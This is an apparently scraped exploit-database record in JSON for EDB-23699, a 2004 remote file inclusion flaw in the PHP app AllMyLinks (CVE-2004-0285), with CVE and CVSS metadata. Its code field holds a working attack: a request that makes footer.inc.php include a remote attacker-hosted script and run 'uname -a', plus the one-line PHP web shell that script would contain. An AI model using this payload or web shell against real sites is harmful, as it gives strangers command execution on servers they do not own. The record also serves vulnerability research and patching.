{"exploit":{"id":"EDB-23699","name":"AllMyLinks 0.x - 'footer.inc.php' Arbitrary Code Execution","description":"AllMyLinks 0.x - 'footer.inc.php' Arbitrary Code Execution","cves":["CVE-2004-0285"],"author":"Pablo Santana","published":"2004-02-16","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23699","path":"exploits/php/webapps/23699.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23699.txt","vulnerabilities":[{"id":"CVE-2004-0285","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerabilities in include/footer.inc.php in (1) AllMyVisitors, (2) AllMyLinks, and (3) AllMyGuests allow remote attackers to execute arbitrary PHP code via a URL in the _AMVconfig[cfg_serverpath] parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0285","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0285"},"updatedAt":"2024-08-08T00:10:03.982Z","retrievedAt":"2026-11-26T19:09:57.455Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23699.png?v=2","url":"https://exploitbin.com/exploits/EDB-23699","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23699/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23699/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/9664/info\n\nReportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed variables that are used in a 'require_once()' call.\n\nThis issue may allow a remote attacker to execute arbitrary commands on the affected system with the privileges of the web server. Other attacks may be possible as well.\n\n----------------------------------------\n\nhttp://www.example.com/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=http://www.example.org/attacker.php/&cmd=uname%20-a\n\nwww.example.org/attacker.php' will contain:\n\n<?php\nsystem(\"$cmd\");\n?>","sha256":"7ec9ae3e4a5645a1cf489a94c9f018a9c1b3335b598bfbe7156c9d8e911c317a","bytes":744,"fetchedAt":"2026-11-26T19:09:51.149Z","encoding":"utf-8 (display only; download retains original bytes)"}